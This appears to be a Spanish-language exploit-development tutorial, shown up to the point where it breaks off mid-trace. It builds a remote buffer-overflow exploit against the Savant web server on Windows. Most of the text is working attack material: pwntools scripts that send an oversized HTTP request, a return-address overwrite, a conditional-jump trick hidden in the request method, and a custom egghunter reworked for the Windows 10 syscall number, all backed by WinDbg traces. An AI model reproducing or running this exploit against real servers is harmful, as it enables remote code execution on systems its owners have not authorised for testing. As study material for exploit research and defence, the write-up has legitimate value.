0428ea84  00 00 00 00 00 00 00 00-2f 41 41 41 41 41 41 41  ......../AAAAAAA
0428ea94  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0428eaa4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0428eab4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0428eac4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0428ead4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0428eae4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Sabemos que 0x19 bytes mas adelante se encuentra la ruta de la petición que equivale al inicio de nuestras A's por lo que si ejecutamos los 3 bytes de la string GET como ensamblador despues ejecutará null bytes y corromperá el programa

0:000> db eip + 0x19
0428ea8d  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0428ea9d  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0428eaad  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0428eabd  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0428eacd  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0428eadd  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0428eaed  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0428eafd  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  

Ya que lo que ejecutamos es la string del metodo como instreuccion modificamos el metodo de GET al opcode de un jmp corto para saltar los 0x19 bytes necesitados

#!/usr/bin/python3
from pwn import remote, p32, asm

offset = 253
junk = b"A" * offset

ret = p32(0x00418674)

payload = junk + ret

method = asm("jmp $+0x19")

content = method + b" /" + payload + b"\r\n\r\n"  

shell = remote("Windows", 80)
shell.sendline(content)

Sin embargo al ejecutar el ret en lugar de ejecutar un jmp corto intenta ejecutar retf esto pasa porque en lugar de escribir \xeb\x17 que equivale a jmp $+0x19 escribió \xcb\x17, esto es extraño porque no estamos escribiendo ningun badchar pero por alguna razón cambia un byte, entonces necesitamos buscar alternativas

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=02372ca0 ecx=0000000e edx=0428e508 esi=02372ca0 edi=0041703c  
eip=00418674 esp=0428ea1c ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
Savant+0x18674:
00418674 58              pop     eax

0:000> p
eax=0428fe60 ebx=02372ca0 ecx=0000000e edx=0428e508 esi=02372ca0 edi=0041703c  
eip=00418675 esp=0428ea20 ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
Savant+0x18675:
00418675 c3              ret

0:000> p
eax=0428fe60 ebx=02372ca0 ecx=0000000e edx=0428e508 esi=02372ca0 edi=0041703c  
eip=0428ea74 esp=0428ea24 ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
0428ea74 cb              retf

0:000> dd eip L1
0428ea74  000017cb

Podemos intentar en lugar de un simple jmp usar un jmp condicional para cambiar el opcode, para ello usaremos je tambien llamado jz que salta si la flag zf se activa, para activarlo usaremos xor eax, eax que da como resultado 0 y lo activa, pero como este opcode pesa 2 bytes bajaremos el salto de 0x19 a solo 0x17

method  = b""
method += asm("xor eax, eax")
method += asm("je $+0x17")

Pero ¡oh sorpresa!, intenta ejecutar la instrucción push esp, ¿porque?, similar a lo anterior el programa cambio los bytes del opcode \x74\x15 a los bytes \x54\x15

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=006e2ca0 ecx=0000000e edx=0430e508 esi=006e2ca0 edi=0041703c  
eip=00418674 esp=0430ea1c ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
Savant+0x18674:
00418674 58              pop     eax

0:000> p
eax=0430fe60 ebx=006e2ca0 ecx=0000000e edx=0430e508 esi=006e2ca0 edi=0041703c  
eip=00418675 esp=0430ea20 ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
Savant+0x18675:
00418675 c3              ret

0:000> p
eax=0430fe60 ebx=006e2ca0 ecx=0000000e edx=0430e508 esi=006e2ca0 edi=0041703c  
eip=0430ea74 esp=0430ea24 ebp=41414141 iopl=0         nv up ei pl nz na po nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202  
0430ea74 31c0            xor     eax,eax

0:000> p
eax=00000000 ebx=006e2ca0 ecx=0000000e edx=0430e508 esi=006e2ca0 edi=0041703c  
eip=0430ea76 esp=0430ea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
0430ea76 54              push    esp

0:000> dd eip L1
0430ea76  00001554

Después de probar multiples jmps condicionales encontramos uno que funciona y es jle, que salta si la flag zf esta activada o si la flag sf no es igual a la flag of

method  = b""
method += asm("xor eax, eax")
method += asm("jle $+0x17")

Controlamos la condicion activando la flag zf con el xor eax, eax, esta vez los bytes no cambian y la instrucción es un jle a 0x0427ea8d y la condicion se cumple

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00482ca0 ecx=0000000e edx=0427e508 esi=00482ca0 edi=0041703c
eip=00418674 esp=0427ea1c ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
Savant+0x18674:
00418674 58              pop     eax

0:000> p
eax=0427fe60 ebx=00482ca0 ecx=0000000e edx=0427e508 esi=00482ca0 edi=0041703c
eip=00418675 esp=0427ea20 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
Savant+0x18675:
00418675 c3              ret

0:000> p
eax=0427fe60 ebx=00482ca0 ecx=0000000e edx=0427e508 esi=00482ca0 edi=0041703c
eip=0427ea74 esp=0427ea24 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
0427ea74 31c0            xor     eax,eax

0:000> p
eax=00000000 ebx=00482ca0 ecx=0000000e edx=0427e508 esi=00482ca0 edi=0041703c
eip=0427ea76 esp=0427ea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
0427ea76 7e15            jle     0427ea8d                                [br=1]  

Al ejecutar el jle saltamos los 0x17 bytes al inicio de las A's sin embargo aunque ejecutamos esas A's como instrucciones y tenemos más espacio solo podemos escribir 253 bytes que aun no es suficiente para un shellcode de msfvenom

0:000> p
eax=00000000 ebx=00482ca0 ecx=0000000e edx=0427e508 esi=00482ca0 edi=0041703c  
eip=0427ea8d esp=0427ea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
0427ea8d 41              inc     ecx

0:000> db eip L100
0427ea8d  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427ea9d  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427eaad  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427eabd  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427eacd  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427eadd  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427eaed  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427eafd  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427eb0d  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427eb1d  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427eb2d  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427eb3d  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427eb4d  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427eb5d  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427eb6d  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA  
0427eb7d  41 41 41 41 41 41 41 41-41 41 41 41 41 74 86 41  AAAAAAAAAAAAAt.A  


EggHunter


Lo primero que necesitamos para poder utilizar un egghunter es almacenar un shellcode de tamaño normal en alguna parte de la memoria, no importa si no conocemos la dirección, para poder encontrarlo facilmente enviaremos la cadena w00tw00t antes de las C's, la pregunta es ¿donde lo enviamos? podemos reversear el programa para buscar un lugar o siguiendo la lógica si hacemos una petición podemos enviar una data y tal vez se guarde en algun lugar de la memoria

#!/usr/bin/python3
from pwn import remote, p32, asm

offset = 253
junk = b"A" * offset

ret = p32(0x00418674)

shellcode  = b""
shellcode += b"w00tw00t"
shellcode += b"C" * 300

payload = junk + ret

method  = b""
method += asm("xor eax, eax")
method += asm("jle $+0x17")

content  = b""
content += method + b" /" + payload + b"\r\n\r\n"  
content += shellcode

shell = remote("Windows", 80)
shell.sendline(content)

Al ejecutar el exploit podemos buscar la cadena w00tw00t, en toda la memoria dentro del rango windows-user, nuestros bytes están en la dirección 0x047c8183

0:000> s -a 0 L?80000000 w00tw00t
047c8183  77 30 30 74 77 30 30 74-43 43 43 43 43 43 43 43  w00tw00tCCCCCCCC  

0:000> db 0x047c8183
047c8183  77 30 30 74 77 30 30 74-43 43 43 43 43 43 43 43  w00tw00tCCCCCCCC  
047c8193  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
047c81a3  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
047c81b3  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
047c81c3  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
047c81d3  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
047c81e3  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  
047c81f3  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC  

Esta dirección parece ser parte del heap por lo que es complicado hacer un stack pivot o encontrar una forma de calcular donde esta el shellcode, pero esta ahi

0:000> !address 0x047c8183
                                     
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

Usage:                  Heap
Base Address:           047c0000
End Address:            047d5000
Region Size:            00015000 (  84.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        047c0000
Allocation Protect:     00000004          PAGE_READWRITE
More info:              heap owning the address: !heap -s -h 0x2210000
More info:              heap segment
More info:              heap entry containing the address: !heap -x 0x47c8183  

Content source: 1 (target), length: ce7d

La utilidad mona integra un egghunter probablemente basado en el siguiente paper, sin embargo si lo ejecutamos este fallará, enseguida analizaremos el porque

0:000> !py mona egghunter
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py egghunter
[+] Egg set to w00t
[+] Generating traditional 32bit egghunter code
[+] Preparing output file 'egghunter.txt'
    - (Re)setting logfile C:\mona\egghunter.txt
[+] Egghunter  (33 bytes): 
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" 
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"  

Al desensamblar el egghunter podriamos ver algo asi, inicia obteniendo en edx la ultima dirección de la página y saltando a la siguiente incrementando el registro en una unidad, luego guarda el valor actual de edx en el stack para no perderlo

.page:
    or dx, 0xfff        ; get last address in page  
.find:
    inc edx             ; increase memory counter
    push edx            ; push value to stack

Después mueve al registro eax el valor 0x2 que simboliza a la función NtAccessCheckAndAuditAlarm para despues ejecutar int 0x2e que cambia el modo de usuario a kernel generando asi una syscall que ejecutará la función, esta función la utiliza para evitar violaciones de acceso en tiempo de ejecución, de esta forma comprueba si la página donde apunta edx es válida antes de ejecutar instrucciones

    push 0x2            ; push NtAccessCheckAndAuditAlarm
    pop eax             ; $eax = NtAccessCheckAndAuditAlarm  
    int 0x2e            ; system call

La llamada a esta función se usa para comprobar que la página sea válida evitando asi violaciones de acceso en siguientes instrucciones, cuando la página no es valida la función devuelve el valor en eax y si es 0xc0000005 nos indica que no existe

    cmp al, 0x5         ; check ACCESS_VIOLATION (0xc0000005)  

Después de eso restauramos el valor de edx que guardamos y si el valor devuelto es 0xc0000005 volvemos al inicio para aumentar la página hasta que sea valida

    pop edx             ; restore edx
    jz .page            ; if zf == 1 -> next page  

Una vez que es válida guarda en eax la cadena w00t en hexadecimal y en edi la dirección que tiene actualmente edx para poder ser comparados mas adelante

    mov eax, 0x74303077 ; $eax = "w00t"
    mov edi, edx        ; $edi = address  

Luego de eso usa scasd para comparar si los bytes que se encuentran en [edi] sean iguales a la cadena w00t, esto lo hace 2 veces, ¿porque w00tw00t y no solo w00t? porque esos 4 bytes podrian aparecer varias veces dando asi falsos positivos, si la comparación no es igual aumenta la dirección en una unidad hasta que sea válida

    scasd               ; cmp eax, [edi]
    jnz .find           ; if zf == 0 -> loop  

    scasd               ; cmp eax, [edi]
    jnz .find           ; if zf == 0 -> loop  

Cuando la comparación se haga 2 veces quiere decir que valido la cadena w00tw00t enviada antes del shellcode y lo que esta despues es este por lo que salta ahi

    jmp edi             ; if zf == 1 -> exec  

El cógigo del egghunter se ve algo asi, lo podemos compilar con nasm y ld, para obtenerlo en el formato que necesitamos para python usaremos objdump y regex

global _start

_start:
    .page:
        or dx, 0xfff        ; get last address in page

    .find:
        inc edx             ; increase memory counter
        push edx            ; push value to stack
        push 0x2            ; push NtAccessCheckAndAuditAlarm
        pop eax             ; $eax = NtAccessCheckAndAuditAlarm

        int 0x2e            ; system call
        cmp al, 0x5         ; check ACCESS_VIOLATION (0xc0000005)  

        pop edx             ; restore edx
        jz .page            ; if zf == 1 -> next page

        mov eax, 0x74303077 ; $eax = "w00t"
        mov edi, edx        ; $edi = address

        scasd               ; cmp eax, [edi]
        jnz .find           ; if zf == 0 -> loop

        scasd               ; cmp eax, [edi]
        jnz .find           ; if zf == 0 -> loop

        jmp edi             ; if zf == 1 -> exec

❯ nasm -f elf egghunter.asm -o egghunter.o
❯ ld egghunter.o -m elf_i386 -o egghunter

❯ objdump -d egghunter | grep '[0-9a-f]:' | grep -v 'egghunter' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s  
\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7  

Nuestro exploit ahora se puede ver asi, al ejecutar el pop eax; ret; volverá al jmp corto que saltara al egghunter que buscara el shellcode que son C's en la memoria

#!/usr/bin/python3
from pwn import remote, p32, asm

egg = b"w00t" * 2
egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xea\xaf\x75\xe7\xff\xe7"  

offset = 253
junk = b"A" * (offset - len(egghunter))

shellcode = b"C" * 300

ret = p32(0x00418674)

payload  = b""
payload += egghunter
payload += junk
payload += ret

method  = b""
method += asm("xor eax, eax")
method += asm("jle $+0x17")

content  = b""
content += method + b" /" + payload + b"\r\n\r\n"
content += egg + shellcode

shell = remote("Windows", 80)
shell.sendline(content)

Para ver su funcionamiento y porque falla enviamos el exploit y nos detenemos después del salto corto y justo antes de iniciar a ejecutar todo el egghunter

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=77842990 esi=018f2aa8 edi=0041703c
eip=00418674 esp=0388ea1c ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Savant+0x18674:
00418674 58              pop     eax

0:000> p
eax=0388fe60 ebx=018f2aa8 ecx=0000000e edx=77842990 esi=018f2aa8 edi=0041703c
eip=00418675 esp=0388ea20 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Savant+0x18675:
00418675 c3              ret

0:000> p
eax=0388fe60 ebx=018f2aa8 ecx=0000000e edx=77842990 esi=018f2aa8 edi=0041703c
eip=0388ea74 esp=0388ea24 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0388ea74 31c0            xor     eax,eax

0:000> p
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=77842990 esi=018f2aa8 edi=0041703c
eip=0388ea76 esp=0388ea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0388ea76 7e15            jle     0388ea8d                                [br=1]  

0:000> p
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=77842990 esi=018f2aa8 edi=0041703c
eip=0388ea8d esp=0388ea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0388ea8d 6681caff0f      or      dx,0FFFh

Ahora en el eip podemos ver el egghunter, ya que entendimos el funcionamiento establecemos el breakpoint en 0x0388eaab antes de que salte al shellcode

0:000> u eip L10
0388ea8d 6681caff0f      or      dx,0FFFh
0388ea92 42              inc     edx
0388ea93 52              push    edx
0388ea94 6a02            push    2
0388ea96 58              pop     eax
0388ea97 cd2e            int     2Eh
0388ea99 3c05            cmp     al,5
0388ea9b 5a              pop     edx
0388ea9c 74ef            je      0388ea8d
0388ea9e b877303074      mov     eax,74303077h
0388eaa3 89d7            mov     edi,edx
0388eaa5 af              scas    dword ptr es:[edi]  
0388eaa6 75ea            jne     0388ea92
0388eaa8 af              scas    dword ptr es:[edi]  
0388eaa9 75e7            jne     0388ea92
0388eaab ffe7            jmp     edi

0:000> bp 0x0388eaab

0:000> g

Sin embargo al ejecutarlo usa todos los recursos para buscar w00tw00t en toda la memoria pero por alguna razón extraña nunca lo hace aunque se encuentra ahi


EggHunter win10


¿Cual es el problema? hasta Windows 8 la función NtAccessCheckAndAuditAlarm tuvo el mismo syscall NR que es 0x2 sin embargo en Windows 10 este cambia constantemente con cada actualización, la solución es buscar el syscall NR especifico para tu version de Windows o aprovechando que estamos en windbg podemos verlo desde el modulo ntdll, para esta versión especifica de Windows es 0x1c6

0:000> u ntdll!NtAccessCheckAndAuditAlarm
ntdll!NtAccessCheckAndAuditAlarm:
778420c0 b8c9010000      mov     eax,1C6h
778420c5 e803000000      call    ntdll!NtAccessCheckAndAuditAlarm+0xd (778420cd)  
778420ca c22c00          ret     2Ch
778420cd 8bd4            mov     edx,esp
778420cf 0f34            sysenter
778420d1 c3              ret
778420d2 8da42400000000  lea     esp,[esp]
778420d9 8da42400000000  lea     esp,[esp]

La solución es simple, cambiamos el syscall NR en eax de 0x2 a 0x1c6, esto tenemos que hacerlo de una forma que evitemos los null bytes en el egghunter

push 0x2
pop eax

xor eax, eax
mov ax, 0x1c6

De forma opcional podemos setear el registro edx a 0 al inicio para partir desde la dirección 0x0, esto puede reducir el tiempo de espera significativamente

xor edx, edx

Ahora el codigo del egghunter se ve de esta forma, aunque después de estas modificaciones el peso en bytes aumento un poco ahora deberia funcionar

global _start

_start:
    xor edx, edx            ; $edx = 0x0

    .page:
        or dx, 0xfff        ; get last address in page

    .find:
        inc edx             ; increase memory counter
        push edx            ; push value to stack
        xor eax, eax        ; $eax = 0x0
        mov ax, 0x1c6       ; $eax = NtAccessCheckAndAuditAlarm

        int 0x2e            ; system call
        cmp al, 0x5         ; check ACCESS_VIOLATION (0xc0000005)  

        pop edx             ; restore edx
        jz .page            ; if zf == 1 -> next page

        mov eax, 0x74303077 ; $eax = "w00t"
        mov edi, edx        ; $edi = address

        scasd               ; cmp eax, [edi]
        jnz .find           ; if zf == 0 -> loop

        scasd               ; cmp eax, [edi]
        jnz .find           ; if zf == 0 -> loop

        jmp edi             ; if zf == 1 -> exec

❯ objdump -d egghunter | grep '[0-9a-f]:' | grep -v 'egghunter' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s  
\x31\xd2\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\xb8\xc9\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7

Repasemos, modificamos el egghunter original para hacerlo funcionar en la ultima versión de Windows 10, ya que lo tenemos nos daremos un tiempo para entender como funciona viendo las instrucciones y comportamiento desde el debugger

0:000> u eip L11
01c8ea8d 31d2            xor     edx,edx
01c8ea8f 6681caff0f      or      dx,0FFFh
01c8ea94 42              inc     edx
01c8ea95 52              push    edx
01c8ea96 31c0            xor     eax,eax
01c8ea98 66b8c901        mov     ax,1C6h
01c8ea9c cd2e            int     2Eh
01c8ea9e 3c05            cmp     al,5
01c8eaa0 5a              pop     edx
01c8eaa1 74ea            je      01c8ea8f
01c8eaa3 b877303074      mov     eax,74303077h
01c8eaa8 89d7            mov     edi,edx
01c8eaaa af              scas    dword ptr es:[edi]  
01c8eaab 75e7            jne     01c8ea94
01c8eaad af              scas    dword ptr es:[edi]  
01c8eaae 75e4            jne     01c8ea94
01c8eab0 ffe7            jmp     edi

El egghunter inicia seteando el registro edx en 0, obtiene la ultima pagina e incrementa edx en una unidad, el valor final de edx es 0x1000, y esta sera la cantidad que aumentara en cada vuelta hsata comprobar si la dirección es válida

0:000> r
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=77842990 esi=018f2aa8 edi=0041703c  
eip=01c8ea8d esp=01c8ea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
01c8ea8d 31d2            xor     edx,edx

0:000> p
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=00000000 esi=018f2aa8 edi=0041703c  
eip=01c8ea8f esp=01c8ea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
01c8ea8f 6681caff0f      or      dx,0FFFh

0:000> p
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=00000fff esi=018f2aa8 edi=0041703c  
eip=01c8ea94 esp=01c8ea24 ebp=41414141 iopl=0         nv up ei pl nz na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206  
01c8ea94 42              inc     edx

0:000> p
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=00001000 esi=018f2aa8 edi=0041703c  
eip=01c8ea95 esp=01c8ea24 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216  
01c8ea95 52              push    edx

Guarda el valor actual de edx y establece el valor de eax al syscall NR que en el caso de la función NtAccessCheckAndAuditAlarm es 0x1c6, seguido a ello hace la syscall

0:000> r
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=00001000 esi=018f2aa8 edi=0041703c  
eip=01c8ea95 esp=01c8ea24 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216  
01c8ea95 52              push    edx

0:000> p
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=00001000 esi=018f2aa8 edi=0041703c  
eip=01c8ea96 esp=01c8ea20 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216  
01c8ea96 31c0            xor     eax,eax

0:000> p
eax=00000000 ebx=018f2aa8 ecx=0000000e edx=00001000 esi=018f2aa8 edi=0041703c  
eip=01c8ea98 esp=01c8ea20 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
01c8ea98 66b8c901        mov     ax,1C6h

0:000> p
eax=000001c6 ebx=018f2aa8 ecx=0000000e edx=00001000 esi=018f2aa8 edi=0041703c  
eip=01c8ea9c esp=01c8ea20 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
01c8ea9c cd2e            int     2Eh

0:000> p
eax=c0000005 ebx=018f2aa8 ecx=01c8ea20 edx=01c8ea9e esi=018f2aa8 edi=0041703c  
eip=01c8ea9e esp=01c8ea20 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
01c8ea9e 3c05            cmp     al,5

Compara el valor devuelto en eax con 0xc0000005, si ese es el valor la dirección no es valida por lo que vuelve a aumentar el valor en 0x1000 y repite el proceso de nuevo

0:000> r
eax=c0000005 ebx=018f2aa8 ecx=01c8ea20 edx=01c8ea9e esi=018f2aa8 edi=0041703c
eip=01c8ea9e esp=01c8ea20 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01c8ea9e 3c05            cmp     al,5

0:000> p
eax=c0000005 ebx=018f2aa8 ecx=01c8ea20 edx=01c8ea9e esi=018f2aa8 edi=0041703c
eip=01c8eaa0 esp=01c8ea20 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01c8eaa0 5a              pop     edx

0:000> p
eax=c0000005 ebx=018f2aa8 ecx=01c8ea20 edx=00001000 esi=018f2aa8 edi=0041703c
eip=01c8eaa1 esp=01c8ea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01c8eaa1 74ea            je      01c8ea8f                                [br=1]  

0:000> u 01c8ea8f
01c8ea8f 6681caff0f      or      dx,0FFFh
01c8ea94 42              inc     edx
01c8ea95 52              push    edx
01c8ea96 31c0            xor     eax,eax
01c8ea98 66b8c901        mov     ax,1C6h
01c8ea9c cd2e            int     2Eh
01c8ea9e 3c05            cmp     al,5

Cuando la dirección es válida el valor devuelto será diferente por lo que no se cumple la condición y je no saltará a aumentar la página y seguira con el flujo normal

0:000> r
eax=c000005c ebx=01a92aa8 ecx=0392ea20 edx=003a1000 esi=01a92aa8 edi=0041703c
eip=0392eaa1 esp=0392ea24 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0392eaa1 74ec            je      0392ea8f                                [br=0]

0:000> p
eax=c000005c ebx=01a92aa8 ecx=0392ea20 edx=003a1000 esi=01a92aa8 edi=0041703c
eip=0392eaa3 esp=0392ea24 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0392eaa3 b877303074      mov     eax,74303077h

Después de ello guarda en eax los bytes en hex de la cadena w00t y en edi la dirección, usando scasd compara el valor de eax con el contenido dentro de edi, pero como ahora mismo el valor de edi es 0x00400000 la comparación fallará

0:000> r
eax=c000005c ebx=001a2aa8 ecx=01adea20 edx=00400000 esi=001a2aa8 edi=0041703c
eip=01adeaa3 esp=01adea24 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
01adeaa3 b877303074      mov     eax,74303077h

0:000> p
eax=74303077 ebx=001a2aa8 ecx=01adea20 edx=00400000 esi=001a2aa8 edi=0041703c
eip=01adeaa8 esp=01adea24 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
01adeaa8 89d7            mov     edi,edx

0:000> p
